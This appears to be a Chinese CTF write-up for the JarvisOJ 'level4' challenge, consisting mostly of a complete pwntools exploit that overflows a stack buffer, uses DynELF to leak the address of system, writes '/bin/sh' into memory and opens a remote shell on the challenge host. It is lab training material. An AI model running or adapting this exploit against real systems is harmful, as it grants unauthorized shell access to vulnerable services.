nc pwn2.jarvisoj.com 9880

 



level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0

 

无libc,使用DynELF

exp如下:

from pwn import *

def leak(address):
    payload = b'a' * 140 + p32(0x8048340) + p32(0x804844B) + p32(1) + p32(address) + p32(4)
    io.send(payload)
    addr = io.recv(4)
    return addr

#io = process('./level4')
#io = gdb.debug('./level4', 'b *0x804844B')
io = remote("pwn2.jarvisoj.com", 9880)
d = DynELF(leak, elf = ELF("./level4"))
system_addr = d.lookup("system", "libc")
info("system_addr:" + str(hex(system_addr)))
payload = b'a' * 140 + p32(0x8048310) + p32(0x804844B) + p32(0) + p32(0x804A100) + p32(8)
io.send(payload)
sleep(0.5)
io.send(b'/bin/sh\0')
payload = b'a' * 140 + p32(system_addr) + p32(0x804844B) + p32(0x804A100)
sleep(0.5)
io.send(payload)

io.interactive()

 

相关文章:

  • 2021-10-05
  • 2021-10-03
  • 2021-10-17
  • 2021-10-16
  • 2021-08-01
  • 2021-10-30
  • 2021-08-04
  • 2021-09-29
猜你喜欢
  • 2021-07-29
  • 2022-12-23
  • 2022-12-23
  • 2021-04-17
  • 2021-06-20
  • 2022-12-23
  • 2021-09-17
相关资源
相似解决方案